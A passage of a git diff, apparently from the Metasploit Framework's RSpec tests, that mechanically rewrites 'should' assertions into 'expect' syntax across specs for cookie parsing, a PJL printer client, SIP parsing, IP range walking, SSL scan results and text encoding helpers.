wordpressuser_a97c5267613d6de70e821ff82dd1ab94=admin wordpresspass_a97c5267613d6de70e821ff82dd1ab94=c3284d0f94606de1fd2af172aba15bf3 } expected_cookies.shuffle! - cookies_array.should include(*expected_cookies) + expect(cookies_array).to include(*expected_cookies) end it 'parses comma separated cookies' do cookies_array = cookie_sanity_check(:get_cookies_comma_separated) - cookies_array.count.should eq(3) + expect(cookies_array.count).to eq(3) expected_cookies = %w{ cval=880350187 session_id_8000=83466b1a1a7a27ce13d35f78155d40ca3a1e7a28 uid=348637C4-9B10-485A-BFA9-5E892432FCFD } expected_cookies.shuffle! - cookies_array.should include(*expected_cookies) + expect(cookies_array).to include(*expected_cookies) end end diff --git a/spec/lib/rex/proto/pjl/client_spec.rb b/spec/lib/rex/proto/pjl/client_spec.rb index f4d6aed9af..734106b398 100644 --- a/spec/lib/rex/proto/pjl/client_spec.rb +++ b/spec/lib/rex/proto/pjl/client_spec.rb @@ -22,7 +22,7 @@ RSpec.describe Rex::Proto::PJL::Client do context "#initialize" do it "should initialize a 'sock' ivar" do - cli.instance_variable_get(:@sock).class.should eq(RSpec::Mocks::Double) + expect(cli.instance_variable_get(:@sock).class).to eq(RSpec::Mocks::Double) end end @@ -44,7 +44,7 @@ RSpec.describe Rex::Proto::PJL::Client do end it "should receive a response for an INFO request" do - cli.info(:id).should eq(default_response) + expect(cli.info(:id)).to eq(default_response) end end @@ -52,7 +52,7 @@ RSpec.describe Rex::Proto::PJL::Client do it "should return the version information" do fake_version = '"1337"' expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_version) - cli.info_id.should eq('1337') + expect(cli.info_id).to eq('1337') end end @@ -60,7 +60,7 @@ RSpec.describe Rex::Proto::PJL::Client do it "should return the environment variables" do fake_env_vars = "#{Rex::Proto::PJL::Info::VARIABLES}\r\nPASSWORD=DISABLED\f" expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_env_vars) - cli.info_variables.should eq('PASSWORD=DISABLED') + expect(cli.info_variables).to eq('PASSWORD=DISABLED') end end @@ -68,7 +68,7 @@ RSpec.describe Rex::Proto::PJL::Client do it "should return the volumes" do fake_volumes = "[1 TABLE]\r\nDIR\f" expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_volumes) - cli.info_filesys.should eq('DIR') + expect(cli.info_filesys).to eq('DIR') end end @@ -76,7 +76,7 @@ RSpec.describe Rex::Proto::PJL::Client do it "should return a READY message" do fake_ready_message = 'DISPLAY="RES"' expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_ready_message) - cli.get_rdymsg.should eq('RES') + expect(cli.get_rdymsg).to eq('RES') end end @@ -107,7 +107,7 @@ RSpec.describe Rex::Proto::PJL::Client do expect(tmp_sock).to receive(:put).with(an_instance_of(String)) expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) - tmp_cli.fsquery("1:").should eq(true) + expect(tmp_cli.fsquery("1:")).to eq(true) end end @@ -122,7 +122,7 @@ RSpec.describe Rex::Proto::PJL::Client do expect(tmp_sock).to receive(:put).with(an_instance_of(String)) expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) - tmp_cli.fsdirlist("1:").should eq('DIR') + expect(tmp_cli.fsdirlist("1:")).to eq('DIR') end end @@ -137,7 +137,7 @@ RSpec.describe Rex::Proto::PJL::Client do expect(tmp_sock).to receive(:put).with(an_instance_of(String)) expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) - tmp_cli.fsupload("1:").should eq('FILE') + expect(tmp_cli.fsupload("1:")).to eq('FILE') end end @@ -152,7 +152,7 @@ RSpec.describe Rex::Proto::PJL::Client do expect(tmp_sock).to receive(:put).with(an_instance_of(String)) expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) - tmp_cli.fsdownload("/dev/null", "1:").should eq(true) + expect(tmp_cli.fsdownload("/dev/null", "1:")).to eq(true) end end @@ -167,7 +167,7 @@ RSpec.describe Rex::Proto::PJL::Client do expect(tmp_sock).to receive(:put).with(an_instance_of(String)) expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) - tmp_cli.fsdelete("1:").should eq(true) + expect(tmp_cli.fsdelete("1:")).to eq(true) end end end diff --git a/spec/lib/rex/proto/sip/response_spec.rb b/spec/lib/rex/proto/sip/response_spec.rb index df76b2052c..c614a9488d 100644 --- a/spec/lib/rex/proto/sip/response_spec.rb +++ b/spec/lib/rex/proto/sip/response_spec.rb @@ -7,22 +7,22 @@ RSpec.describe 'Rex::Proto::SIP::Response parsing' do specify do resp = 'SIP/1.0 123 Sure, OK' r = ::Rex::Proto::SIP::Response.parse(resp) - r.status_line.should eq(resp) - r.version.should eq('1.0') - r.code.should eq('123') - r.message.should eq('Sure, OK') - r.headers.should be_nil + expect(r.status_line).to eq(resp) + expect(r.version).to eq('1.0') + expect(r.code).to eq('123') + expect(r.message).to eq('Sure, OK') + expect(r.headers).to be_nil end specify do resp = "SIP/2.0 200 OK\r\nFoo: bar\r\nBlah: 0\r\nFoO: blaf\r\n" r = ::Rex::Proto::SIP::Response.parse(resp) - r.status_line.should eq('SIP/2.0 200 OK') - r.version.should eq('2.0') - r.code.should eq('200') - r.message.should eq('OK') - r.headers.should eq('Foo' => %w(bar), 'Blah' => %w(0), 'FoO' => %w(blaf)) - r.header('Foo').should eq %w(bar blaf) + expect(r.status_line).to eq('SIP/2.0 200 OK') + expect(r.version).to eq('2.0') + expect(r.code).to eq('200') + expect(r.message).to eq('OK') + expect(r.headers).to eq('Foo' => %w(bar), 'Blah' => %w(0), 'FoO' => %w(blaf)) + expect(r.header('Foo')).to eq %w(bar blaf) end end diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb index 9e73eb37cb..28a6c579df 100644 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ b/spec/lib/rex/random_identifier_generator_spec.rb @@ -17,22 +17,22 @@ RSpec.describe Rex::RandomIdentifierGenerator do describe "#generate" do it "should respect :min_length" do 1000.times do - rig.generate.length.should >= options[:min_length] + expect(rig.generate.length).to >= options[:min_length] end end it "should respect :max_length" do 1000.times do - rig.generate.length.should <= options[:max_length] + expect(rig.generate.length).to <= options[:max_length] end end it "should allow mangling in a block" do ident = rig.generate { |identifier| identifier.upcase } - ident.should match(/\A[A-Z0-9_]*\Z/) + expect(ident).to match(/\A[A-Z0-9_]*\Z/) ident = subject.generate { |identifier| identifier.downcase } - ident.should match(/\A[a-z0-9_]*\Z/) + expect(ident).to match(/\A[a-z0-9_]*\Z/) ident = subject.generate { |identifier| identifier.gsub("A","B") } ident.should_not include("A") @@ -125,16 +125,16 @@ RSpec.describe Rex::RandomIdentifierGenerator do describe "#to_h" do it "should return a Hash" do - rig.to_h.should be_kind_of(Hash) + expect(rig.to_h).to be_kind_of(Hash) end it "should return expected key-value pairs" do expected_keys = [:var_foo, :var_bar] expected_keys.shuffle.each do |key| rig.init_var(key) end - rig.to_h.size.should eq(expected_keys.size) - rig.to_h.keys.should include(*expected_keys) - rig.to_h.values.map {|v| v.class}.uniq.should eq([String]) + expect(rig.to_h.size).to eq(expected_keys.size) + expect(rig.to_h.keys).to include(*expected_keys) + expect(rig.to_h.values.map {|v| v.class}.uniq).to eq([String]) end end diff --git a/spec/lib/rex/socket/range_walker_spec.rb b/spec/lib/rex/socket/range_walker_spec.rb index 668e719a5a..28a352f49e 100644 --- a/spec/lib/rex/socket/range_walker_spec.rb +++ b/spec/lib/rex/socket/range_walker_spec.rb @@ -41,13 +41,13 @@ RSpec.describe Rex::Socket::RangeWalker do it "should handle single ipv6 addresses" do walker = Rex::Socket::RangeWalker.new("::1") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 1 end it "should handle longform ranges" do walker = Rex::Socket::RangeWalker.new("10.1.1.1-10.1.1.2") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 2 expect(walker.next).to eq "10.1.1.1" end @@ -61,16 +61,16 @@ RSpec.describe Rex::Socket::RangeWalker do it "should handle ranges" do walker = Rex::Socket::RangeWalker.new("10.1.1.1-2") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 2 expect(walker.next).to eq "10.1.1.1" walker = Rex::Socket::RangeWalker.new("10.1-2.1.1-2") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 4 walker = Rex::Socket::RangeWalker.new("10.1-2.3-4.5-6") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 8 - walker.should include("10.1.3.5") + expect(walker).to include("10.1.3.5") end it 'should reject CIDR ranges with missing octets' do @@ -85,41 +85,38 @@ RSpec.describe Rex::Socket::RangeWalker do it "should default the lower bound of a range to 0" do walker = Rex::Socket::RangeWalker.new("10.1.3.-17") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 18 walker = Rex::Socket::RangeWalker.new("10.1.3.-255") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 256 end it "should default the upper bound of a range to 255" do walker = Rex::Socket::RangeWalker.new("10.1.3.254-") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 2 end it "should take * to mean 0-255" do walker = Rex::Socket::RangeWalker.new("10.1.3.*") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 256 expect(walker.next).to eq "10.1.3.0" - walker.should include("10.1.3.255") + expect(walker).to include("10.1.3.255") walker = Rex::Socket::RangeWalker.new("10.1.*.3") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 256 expect(walker.next).to eq "10.1.0.3" - walker.should include("10.1.255.3") + expect(walker).to include("10.1.255.3") end it "should handle lists" do - #walker = Rex::Socket::RangeWalker.new("10.1.1.1,2") - #walker.should be_valid - #walker.length.should == 2 walker = Rex::Socket::RangeWalker.new("10.1.1.1") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 1 walker = Rex::Socket::RangeWalker.new("10.1.1.1,3") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 2 walker.should_not include("10.1.1.2") end @@ -127,15 +124,15 @@ RSpec.describe Rex::Socket::RangeWalker do it "should produce the same ranges with * and 0-255" do a = Rex::Socket::RangeWalker.new("10.1.3.*") b = Rex::Socket::RangeWalker.new("10.1.3.0-255") - a.ranges.should eq(b.ranges) + expect(a.ranges).to eq(b.ranges) end it "should handle ranges and lists together" do walker = Rex::Socket::RangeWalker.new("10.1.1.1-2,3") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 3 walker = Rex::Socket::RangeWalker.new("10.1-2.1.1,2") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq 4 walker = Rex::Socket::RangeWalker.new("10.1,2.3,4.5,6") expect(walker.length).to eq 8 @@ -144,7 +141,7 @@ RSpec.describe Rex::Socket::RangeWalker do it "should handle cidr" do 31.downto 16 do |bits| walker = Rex::Socket::RangeWalker.new("10.1.1.1/#{bits}") - walker.should be_valid + expect(walker).to be_valid expect(walker.length).to eq (2**(32-bits)) end end @@ -168,7 +165,7 @@ RSpec.describe Rex::Socket::RangeWalker do it "returns true for a sub-range" do other = described_class.new("10.1.1.1-255") - walker.should be_include_range(other) + expect(walker).to be_include_range(other) end end diff --git a/spec/lib/rex/socket_spec.rb b/spec/lib/rex/socket_spec.rb index c354adbfaa..c3682e835b 100644 --- a/spec/lib/rex/socket_spec.rb +++ b/spec/lib/rex/socket_spec.rb @@ -58,9 +58,9 @@ RSpec.describe Rex::Socket do context 'with a hostname' do let(:try) { "localhost" } it "should resolve" do - nbo.should be_a(String) + expect(nbo).to be_a(String) expect(nbo.encoding).to eq Encoding.find('binary') - [ 4, 16 ].should include(nbo.length) + expect([ 4, 16 ]).to include(nbo.length) end end @@ -134,8 +134,8 @@ RSpec.describe Rex::Socket do it { is_expected.to be_an(Array) } it { expect(subject.size).to eq(2) } it "should return the ASCII addresses" do - subject.should include("1.1.1.1") - subject.should include("2.2.2.2") + expect(subject).to include("1.1.1.1") + expect(subject).to include("2.2.2.2") end end @@ -146,8 +146,8 @@ RSpec.describe Rex::Socket do it { is_expected.to be_an(Array) } it { expect(subject.size).to eq(2) } it "should return the ASCII addresses" do - subject.should include("fe80::1") - subject.should include("fe80::2") + expect(subject).to include("fe80::1") + expect(subject).to include("fe80::2") end end @@ -158,8 +158,8 @@ RSpec.describe Rex::Socket do it { is_expected.to be_an(Array) } it { expect(subject.size).to eq(2) } it "should return the ASCII addresses" do - subject.should include("1.1.1.1") - subject.should include("2.2.2.2") + expect(subject).to include("1.1.1.1") + expect(subject).to include("2.2.2.2") end end diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index cff2df29a3..0e547d0df8 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -27,7 +27,7 @@ RSpec.describe Rex::SSLScan::Result do end it "should return an empty set for ciphers" do - subject.ciphers.should be_empty + expect(subject.ciphers).to be_empty end it "should return an empty array for accepted" do @@ -138,7 +138,7 @@ RSpec.describe Rex::SSLScan::Result do it "should add an SSLv2 cipher result to the SSLv2 Accepted array or generate an SSLv2 exception" do begin subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.accepted(:SSLv2).should include({ + expect(subject.accepted(:SSLv2)).to include({ :version => :SSLv2, :cipher=>"DES-CBC3-MD5", :key_length=>168, @@ -151,7 +151,7 @@ RSpec.describe Rex::SSLScan::Result do it "should add an SSLv3 cipher result to the SSLv3 Accepted array" do subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.accepted(:SSLv3).should include({ + expect(subject.accepted(:SSLv3)).to include({ :version => :SSLv3, :cipher=>"AES256-SHA", :key_length=>256, @@ -161,7 +161,7 @@ RSpec.describe Rex::SSLScan::Result do it "should add an TLSv1 cipher result to the TLSv1 Accepted array" do subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.accepted(:TLSv1).should include({ + expect(subject.accepted(:TLSv1)).to include({ :version => :TLSv1, :cipher=>"AES256-SHA", :key_length=>256, @@ -172,13 +172,13 @@ RSpec.describe Rex::SSLScan::Result do it "should successfully add multiple entries in a row" do subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.accepted(:SSLv3).should include({ + expect(subject.accepted(:SSLv3)).to include({ :version => :SSLv3, :cipher=>"AES256-SHA", :key_length=>256, :weak=> false, :status => :accepted}) - subject.accepted(:SSLv3).should include({ + expect(subject.accepted(:SSLv3)).to include({ :version => :SSLv3, :cipher=>"AES256-SHA", :key_length=>256, @@ -196,7 +196,7 @@ RSpec.describe Rex::SSLScan::Result do it "should add an SSLv2 cipher result to the SSLv2 Rejected array or generate an SSLv2 exception" do begin subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :rejected) - subject.rejected(:SSLv2).should include({ + expect(subject.rejected(:SSLv2)).to include({ :version => :SSLv2, :cipher=>"DES-CBC3-MD5", :key_length=>168, @@ -209,7 +209,7 @@ RSpec.describe Rex::SSLScan::Result do it "should add an SSLv3 cipher result to the SSLv3 Rejected array" do subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) - subject.rejected(:SSLv3).should include({ + expect(subject.rejected(:SSLv3)).to include({ :version => :SSLv3, :cipher=>"AES256-SHA", :key_length=>256, @@ -219,7 +219,7 @@ RSpec.describe Rex::SSLScan::Result do it "should add an TLSv1 cipher result to the TLSv1 Rejected array" do subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) - subject.rejected(:TLSv1).should include({ + expect(subject.rejected(:TLSv1)).to include({ :version => :TLSv1, :cipher=>"AES256-SHA", :key_length=>256, @@ -230,13 +230,13 @@ RSpec.describe Rex::SSLScan::Result do it "should successfully add multiple entries in a row" do subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) - subject.rejected(:SSLv3).should include({ + expect(subject.rejected(:SSLv3)).to include({ :version => :SSLv3, :cipher=>"AES256-SHA", :key_length=>256, :weak=> false, :status => :rejected}) - subject.rejected(:SSLv3).should include({ + expect(subject.rejected(:SSLv3)).to include({ :version => :SSLv3, :cipher=>"AES128-SHA", :key_length=>128, @@ -262,7 +262,7 @@ RSpec.describe Rex::SSLScan::Result do context "with no version selected" do it "should return an array of cipher detail hashes" do subject.each_accepted do |cipher_details| - cipher_details.should include(:version, :cipher, :key_length, :status, :weak) + expect(cipher_details).to include(:version, :cipher, :key_length, :status, :weak) end end @@ -318,7 +318,7 @@ RSpec.describe Rex::SSLScan::Result do context "with no version selected" do it "should return an array of cipher detail hashes" do subject.each_rejected do |cipher_details| - cipher_details.should include(:version, :cipher, :key_length, :status, :weak) + expect(cipher_details).to include(:version, :cipher, :key_length, :status, :weak) end end @@ -479,7 +479,7 @@ RSpec.describe Rex::SSLScan::Result do subject.openssl_sslv2 = false end it "should warn the user" do - subject.to_s.should include "*** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" + expect(subject.to_s).to include "*** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" end end @@ -504,15 +504,15 @@ RSpec.describe Rex::SSLScan::Result do end it "should contain the certificate" do - subject.to_s.should include "Issuer: DC=org, DC=ruby-lang, CN=Ruby CA" - subject.to_s.should include "Subject: DC=org, DC=ruby-lang, CN=Ruby CA" + expect(subject.to_s).to include "Issuer: DC=org, DC=ruby-lang, CN=Ruby CA" + expect(subject.to_s).to include "Subject: DC=org, DC=ruby-lang, CN=Ruby CA" end it "should have a table with our SSL Cipher Results" do - subject.to_s.should include "Accepted * SSLv3 40 EXP-RC2-CBC-MD5" - subject.to_s.should include "Accepted SSLv3 128 AES128-SHA" - subject.to_s.should include "Accepted SSLv3 256 AES256-SHA" - subject.to_s.should include "Accepted TLSv1 256 AES256-SHA" + expect(subject.to_s).to include "Accepted * SSLv3 40 EXP-RC2-CBC-MD5" + expect(subject.to_s).to include "Accepted SSLv3 128 AES128-SHA" + expect(subject.to_s).to include "Accepted SSLv3 256 AES256-SHA" + expect(subject.to_s).to include "Accepted TLSv1 256 AES256-SHA" end end diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index 8a9a457c57..f0324c1d2e 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -77,14 +77,14 @@ RSpec.describe Rex::SSLScan::Scanner do end it "should return an X509 cert if it can connect" do - subject.get_cert(:SSLv3, "AES256-SHA").should be_a OpenSSL::X509::Certificate + expect(subject.get_cert(:SSLv3, "AES256-SHA")).to be_a OpenSSL::X509::Certificate end end context "when scanning https://google.com" do it "should return a Result object" do result = subject.scan - result.should be_a Rex::SSLScan::Result + expect(result).to be_a Rex::SSLScan::Result end context "if SSLv2 is not available locally" do diff --git a/spec/lib/rex/text_spec.rb b/spec/lib/rex/text_spec.rb index e335ff6741..e13fc2b412 100644 --- a/spec/lib/rex/text_spec.rb +++ b/spec/lib/rex/text_spec.rb @@ -6,19 +6,19 @@ RSpec.describe Rex::Text do context ".to_ebcdic" do it "should convert ASCII to EBCDIC (both US standards)" do - described_class.to_ebcdic("Hello, World!").should eq("\xc8\x85\x93\x93\x96\x6b\x40\xe6\x96\x99\x93\x84\x5a") + expect(described_class.to_ebcdic("Hello, World!")).to eq("\xc8\x85\x93\x93\x96\x6b\x40\xe6\x96\x99\x93\x84\x5a") end it "should raise on non-convertable characters" do - lambda {described_class.to_ebcdic("\xff\xfe")}.should raise_exception(described_class::IllegalSequence) + expect(lambda {described_class.to_ebcdic("\xff\xfe")}).to raise_exception(described_class::IllegalSequence) end end context ".from_ebcdic" do it "should convert EBCDIC to ASCII (both US standards)" do - described_class.from_ebcdic("\xc8\x85\x93\x93\x96\x6b\x40\xe6\x96\x99\x93\x84\x5a").should eq("Hello, World!") + expect(described_class.from_ebcdic("\xc8\x85\x93\x93\x96\x6b\x40\xe6\x96\x99\x93\x84\x5a")).to eq("Hello, World!") end it "should raise on non-convertable characters" do - lambda {described_class.from_ebcdic("\xff\xfe")}.should raise_exception(described_class::IllegalSequence) + expect(lambda {described_class.from_ebcdic("\xff\xfe")}).to raise_exception(described_class::IllegalSequence) end end @@ -38,42 +38,42 @@ RSpec.describe Rex::Text do context ".to_utf8" do it "should convert a string to UTF-8, skipping badchars" do - described_class.to_utf8("Hello, world!").should eq("Hello, world!") - described_class.to_utf8("Oh no, \xff\xfe can't convert!").should eq("Oh no, can't convert!") + expect(described_class.to_utf8("Hello, world!")).to eq("Hello, world!") + expect(described_class.to_utf8("Oh no, \xff\xfe can't convert!")).to eq("Oh no, can't convert!") end end context ".to_octal" do it "should convert all chars 00 through ff" do - described_class.to_octal("\x7f"*100).should eq("\\177"*100) + expect(described_class.to_octal("\x7f"*100)).to eq("\\177"*100) all_chars = (0..0xff).map {|c| [c].pack("C") }.join all_octal = (0..0xff).map {|c| "\\%o"%(c) }.join - described_class.to_octal(all_chars).should eq(all_octal) + expect(described_class.to_octal(all_chars)).to eq(all_octal) end it "should use the given prefix" do - described_class.to_octal("\x7f"*100, "foo").should eq("foo177"*100) + expect(described_class.to_octal("\x7f"*100, "foo")).to eq("foo177"*100) all_chars = (0..0xff).map {|c| [c].pack("C") }.join all_octal = (0..0xff).map {|c| "test%o"%(c) }.join - described_class.to_octal(all_chars, "test").should eq(all_octal) + expect(described_class.to_octal(all_chars, "test")).to eq(all_octal) end end context ".to_hex" do it "should convert all chars 00 through ff" do - described_class.to_hex("\x7f"*100).should eq("\\x7f"*100) + expect(described_class.to_hex("\x7f"*100)).to eq("\\x7f"*100) all_chars = (0..0xff).map {|c| [c].pack("C") }.join all_hex = (0..0xff).map {|c| "\\x%02x"%(c) }.join - described_class.to_hex(all_chars).should eq(all_hex) + expect(described_class.to_hex(all_chars)).to eq(all_hex) end it "should use the given prefix" do - described_class.to_hex("\x7f"*100, "foo").should eq("foo7f"*100) + expect(described_class.to_hex("\x7f"*100, "foo")).to eq("foo7f"*100) all_chars = (0..0xff).map {|c| [c].pack("C") }.join all_hex = (0..0xff).map {|c| "test%02x"%(c) }.join - described_class.to_hex(all_chars, "test").should eq(all_hex) + expect(described_class.to_hex(all_chars, "test")).to eq(all_hex) end end @@ -81,24 +81,24 @@ RSpec.describe Rex::Text do it "should handle non-printables" do non_print = (0x7f..0xff).map {|c| [c].pack("C") }.join non_print_hex = (0x7f..0xff).map {|c| "\\x%02x"%(c) }.join - described_class.to_hex_ascii(non_print).should eq(non_print_hex) + expect(described_class.to_hex_ascii(non_print)).to eq(non_print_hex) - described_class.to_hex_ascii("\x00").should eq("\\x00") - described_class.to_hex_ascii("\x1f").should eq("\\x1f") - described_class.to_hex_ascii("\x00"*100).should eq("\\x00"*100) + expect(described_class.to_hex_ascii("\x00")).to eq("\\x00") + expect(described_class.to_hex_ascii("\x1f")).to eq("\\x1f") + expect(described_class.to_hex_ascii("\x00"*100)).to eq("\\x00"*100) end it "should not mess with printables" do - described_class.to_hex_ascii("A").should eq("A") - described_class.to_hex_ascii("A\x7f").should eq("A\\x7f") + expect(described_class.to_hex_ascii("A")).to eq("A") + expect(described_class.to_hex_ascii("A\x7f")).to eq("A\\x7f") end end context ".gzip" do it "should return a properly formatted gzip file" do str = described_class.gzip("hi mom") - str[0,4].should eq("\x1f\x8b\x08\x00") # Gzip magic + expect(str[0,4]).to eq("\x1f\x8b\x08\x00") # Gzip magic # bytes 4 through 9 are a time stamp - str[10..-1].should eq("\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00") + expect(str[10..-1]).to eq("\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00") end end @@ -107,32 +107,32 @@ RSpec.describe Rex::Text do gzip = "\x1f\x8b\x08\x00" gzip << "\x00" * 6 gzip << "\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00" - described_class.ungzip(gzip).should eq("hi mom") + expect(described_class.ungzip(gzip)).to eq("hi mom") end end context ".rand_surname" do it "should return a random surname" do - described_class::Surnames.should include(described_class.rand_surname) + expect(described_class::Surnames).to include(described_class.rand_surname) end end context ".rand_name" do it "should return a random name" do names = described_class::Names_Female + described_class::Names_Male - names.should include(described_class.rand_name) + expect(names).to include(described_class.rand_name) end end context ".rand_name_female" do it "should return a random female name" do - described_class::Names_Female.should include(described_class.rand_name_female) + expect(described_class::Names_Female).to include(described_class.rand_name_female) end end context ".rand_name_male" do it "should return a random male name" do - described_class::Names_Male.should include(described_class.rand_name_male) + expect(described_class::Names_Male).to include(described_class.rand_name_male) end end @@ -147,10 +147,10 @@ RSpec.describe Rex::Text do name, surname = mail_address.first.first, mail_address.first.last domain, tld = "example", mail_address.last.last # Poor man's stubbing to preserve TLD - names.should include(name) - surnames.should include(surname) - domain.should eq("example") - tlds.should include(tld) + expect(names).to include(name) + expect(surnames).to include(surname) + expect(domain).to eq("example") + expect(tlds).to include(tld) end end @@ -158,12 +158,12 @@ RSpec.describe Rex::Text do let (:sample_text) { "The quick brown sploit jumped over the lazy A/V" } let (:spaced_text) { described_class.randomize_space(sample_text) } it "should return a string with at least one new space characater" do - spaced_text.should match /[\x09\x0d\x0a]/ + expect(spaced_text).to match /[\x09\x0d\x0a]/ end it "should not otherwise be mangled" do normalized_text = spaced_text.gsub(/[\x20\x09\x0d\x0a]+/m, " ") - normalized_text.should eq(sample_text) + expect(normalized_text).to eq(sample_text) end end diff --git a/spec/msfupdate_spec.rb b/spec/msfupdate_spec.rb index bd79508b98..e723c87463 100644 --- a/spec/msfupdate_spec.rb +++ b/spec/msfupdate_spec.rb @@ -122,7 +122,7 @@ RSpec.describe Msfupdate do it "sets @offline_file" do subject.parse_args(args) - subject.instance_variable_get(:@offline_file).should =~ Regexp.new(Regexp.escape(offline_file)) + expect(subject.instance_variable_get(:@offline_file)).to =~ Regexp.new(Regexp.escape(offline_file)) end context "with relative path" do @@ -145,7 +145,7 @@ RSpec.describe Msfupdate do it "sets @offline_file" do subject.parse_args(["--offline-file=#{offline_file}"]) - subject.instance_variable_get(:@offline_file).should =~ Regexp.new(Regexp.escape(offline_file)) + expect(subject.instance_variable_get(:@offline_file)).to =~ Regexp.new(Regexp.escape(offline_file)) end end end diff --git a/spec/support/shared/examples/an_option.rb b/spec/support/shared/examples/an_option.rb index 35cf0786f1..9464fa1936 100644 --- a/spec/support/shared/examples/an_option.rb +++ b/spec/support/shared/examples/an_option.rb @@ -32,7 +32,7 @@ shared_examples_for "an option" do |valid_values, invalid_values, type| it "should be valid and normalize appropriately: #{valid_value}" do block = Proc.new { expect(subject.normalize(valid_value)).to eq normalized_value - subject.valid?(valid_value).should be_truthy + expect(subject.valid?(valid_value)).to be_truthy } if vhash[:skip] skip(vhash[:skip], &block) @@ -47,7 +47,7 @@ shared_examples_for "an option" do |valid_values, invalid_values, type| invalid_values.each do |vhash| invalid_value = vhash[:value] it "should not be valid: #{invalid_value}" do - block = Proc.new { subject.valid?(invalid_value).should be_falsey } + block = Proc.new { expect(subject.valid?(invalid_value)).to be_falsey } if vhash[:skip] skip(vhash[:skip], &block) else diff --git a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb index d9fd8d9f15..a25135cc46 100644 --- a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb +++ b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb @@ -15,7 +15,7 @@ shared_examples_for 'Msf::DBManager::Export#extract_module_detail_info module_de it "should have Mdm::Module::Detail##{attribute_name} for #{child_node_name} content" do if attribute == false - child_node.content.should be_blank + expect(child_node.content).to be_blank else expect(child_node.content).to eq attribute.to_s end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb index 4aea900ea5..d7370192d8 100644 --- a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb @@ -85,7 +85,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should include methods from module so method can be overridden easier in pro' do - db_manager.should be_a Msf::DBManager::Import::MetasploitFramework::XML + expect(db_manager).to be_a Msf::DBManager::Import::MetasploitFramework::XML end context 'CONSTANTS' do @@ -221,8 +221,8 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do it 'should have nil for child name in info' do # use have_key to verify info isn't just returning hash default of # `nil`. - info.should have_key(child_sym) - info[child_sym].should be_nil + expect(info).to have_key(child_sym) + expect(info[child_sym]).to be_nil end end @@ -599,7 +599,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do it 'should be a Hash' do with_info do |info| - info.should be_a Hash + expect(info).to be_a Hash end end @@ -716,7 +716,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do expect(db_manager).to 